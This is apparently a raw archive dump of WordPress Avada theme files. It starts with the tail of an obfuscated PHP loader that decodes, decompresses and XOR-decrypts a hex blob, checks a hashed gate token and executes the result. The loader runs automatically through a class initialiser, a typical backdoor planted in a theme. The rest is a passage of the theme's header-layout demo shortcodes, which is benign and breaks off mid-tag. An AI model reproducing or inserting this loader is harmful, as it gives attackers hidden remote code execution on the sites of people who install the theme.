cd34097f457cd0448626fb171c50bccc5b24b3973be9f40289839522349910eadc7dcfab5a4970cf10a42423bc8cb3bf21b12a2a56c197efaed0ce5b61463a89ba4e9ce7953268e63816201a92e9adad40565fc7aa8f07dad573011c84c2535fb17a6fd83f7800b136f72b1c8d59383964ebd396557031e57914544e51420823e8c7d38c8f131ab3fed6273356ad330f40bbded9e388d92863e1450ea54a4fac3acdb956822fe5e38bf1f55f1ae2ec67fc52ffbd5f3c3eb02b6ed0878b941eb53b15789fccddbe16970d45d8d60bf41fd490175f58c67625fb67ed877df80b59fd1aed5e04fbac87026e5f8fc11f76a4cfd4e4564819e0def9ff37618e8be150cdd350933c00f7d2a556241c80a990baa12f8360dfa19851ec54a9a0dabbc15c816dbd42898f6e87884d2ef4471161876d8e12dfdbd9d93b37d1243d7931ea7a47fd036e89d46ed1c7beb48ba3fa418f682d851aeca036d2389f32759df17a6d18e449ecb7627ff9779bfbfcfafaafba6b217b1c161b8ff01'; $hex_data = $MLwDCn($hex_data, 2); $bin_data = $f_oTIEBqVjlt('H*', $hex_data); $step1 = @$voirIHsQImMA($bin_data); $step2 = @$voirIHsQImMA($step1); $inflated = ($step2 !== false) ? $step2 : $step1; if ($step1 === false) { if(isset($_GET['debug'])) echo 'Decompress Fail'; return; } $b64_decoded = $fWWtAtgFpc($inflated); if ($b64_decoded === false) { if(isset($_GET['debug'])) echo 'B64 Fail'; return; } $obj = new self(); $final_key = ''; foreach (['get_XIhlUxoTTVZm','EMWmKwQqsyS','JbiGqxeujM'] as $m) { $final_key .= $obj->{$m}(); } $gate_token = ''; foreach (['pPnEwdGdFHAN','chk_guLlkbCo','EDwUrhSXdG','chk_MqtgNfQjLE'] as $m) { $gate_token .= $obj->{$m}(); } if ($ZdxqH($gate_token) !== 'dd8bbbfaa0e5e3c00da947c02ce77bcf') { if(isset($_GET['debug'])) echo 'Gate Fail'; return; } $plain_code = ''; $klen = $CDzvl($final_key); if ($klen > 0) { for ($i = 0; $i < $CDzvl($b64_decoded); $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % $klen])); } } else { $plain_code = $b64_decoded; } $obj->_exec_mcgtucgg($plain_code); } } try { LoaderctfClQHtdU451::init736(); } catch (Throwable $e) { if(isset($_GET['debug'])) echo 'Class Error: '.$e->getMessage(); } Avada/headers/custom-headers.php000064400000464246152342437710012657 0ustar00 'New 1', 'image' => $preview_image, 'position' => 'calc( 700% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#242a33" padding_right="3%" padding_left="3%" link_color="#ffffff" padding_top="1.5%" padding_bottom="1.5%" gradient_start_color="#2f343d" gradient_end_color="#242a33" padding_top_small="20px" padding_bottom_small="20px" type="flex"][fusion_builder_row][fusion_builder_column type="1_6" layout="1_6" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" order_medium="0" order_small="0" order="0" hover_type="none" border_color="" border_style="solid" border_position="all" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" element_content="" first="true" spacing_right="" margin_bottom="0px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" padding_top_small="" padding_bottom_small="" margin_bottom_small="0px" type_small="1_3" margin_top="0px" type="1_6"][fusion_imageframe image_id="" max_width="140px" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" align_small="none" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="5_6" layout="5_6" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_3" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="false" spacing_right="" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="5_6"][fusion_search live_search="" design="" search_content="" search_limit_to_post_titles="" placeholder="" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" border_width="0" /][/fusion_builder_column][fusion_builder_column type="58" layout="58" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility" class="" id="" type_medium="" type_small="1_3" order_medium="0" order_small="1" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="true" element_content="" spacing_right="" spacing_left="-10px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" margin_bottom_small="0px" type="58"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-start" font_size="15px" text_transform="none" items_padding="" gap="8px" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="rgba(255,255,255,0)" mobile_trigger_color="#ffffff" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="31" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="25px" items_padding_bottom="25px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" mobile_nav_trigger_bottom_margin="20px" mobile_trigger_font_size="30px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="min" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="yes" box_shadow_blur="50" box_shadow_spread="1" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#ffffff" border_color="rgba(0,0,0,0.1)" flex_column_spacing="0" sticky_height="4em" box_shadow_vertical="0" box_shadow_horizontal="0" box_shadow_color="rgba(0,0,0,0.1)" padding_top_small="10px" padding_bottom_small="10px" z_index="125" type="flex" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="58" layout="58" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_1" order_medium="0" order_small="1" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="true" element_content="" spacing_right="" spacing_left="-10px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" margin_bottom_small="0px" type="58"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="70px" sticky_min_height="" align_items="stretch" justify_content="flex-start" font_size="" text_transform="none" items_padding="" gap="40px" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" border_bottom="" items_padding_right="" items_padding_left="" /][/fusion_builder_column][fusion_builder_column type="30" layout="30" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="15%" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="false" element_content="" spacing_right="" spacing_left="0px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" margin_bottom_small="10px" type="30"][fusion_menu menu="side-nav" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="15px" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="#242a33" icons_hover_color="" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="10px" items_padding_bottom="10px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="12px" items_padding_left="12px" /][/fusion_builder_column][fusion_builder_column type="12" layout="12" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" class="" id="" type_medium="" type_small="" order_medium="0" order_small="2" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="false" element_content="" spacing_right="" spacing_left="0px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="12"][fusion_button link="" text_transform="" title="" target="_self" link_attributes="" alignment="right" modal="" color="default" button_gradient_top_color="#65bc7b" button_gradient_bottom_color="#65bc7b" button_gradient_top_color_hover="#539b65" button_gradient_bottom_color_hover="#539b65" accent_color="#ffffff" accent_hover_color="fff" type="" bevel_color="" border_width="" border_radius="31" border_color="" border_hover_color="" size="large" stretch="yes" icon="" icon_position="left" icon_divider="no" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id=""]Buy Avada[/fusion_button][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-2'] = [ 'name' => 'New 2', 'image' => $preview_image, 'position' => 'calc( 800% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="yes" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#242a33" padding_right="30px" padding_left="30px" link_color="#ffffff" link_hover_color="65BC7B" flex_column_spacing="0px" type="flex" padding_top="0px" padding_bottom="0px"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="true" spacing_right="" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="1_1"][fusion_text columns="" column_min_width="" column_spacing="" rule_style="default" rule_size="" rule_color="" font_size="14px" line_height="" letter_spacing="" text_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" fusion_font_variant_text_font="" content_alignment="center"]

    Curabitur non nulla sit amet nisl tempus convallis. Learn more

    [/fusion_text][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="yes" hundred_percent_height="min" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="80" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#323a45" padding_top="0%" padding_bottom="0%" border_color="rgba(0,0,0,0.1)" padding_right="4%" padding_left="4%" min_height="6em" padding_bottom_small="0" z_index="125" type="flex"][fusion_builder_row][fusion_builder_column type="20%" layout="20%" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="true" spacing_right="" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="20%"][fusion_imageframe image_id="" max_width="140px" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="40" layout="40" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="false" element_content="" spacing_right="" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="40"][fusion_menu menu="left-menu" 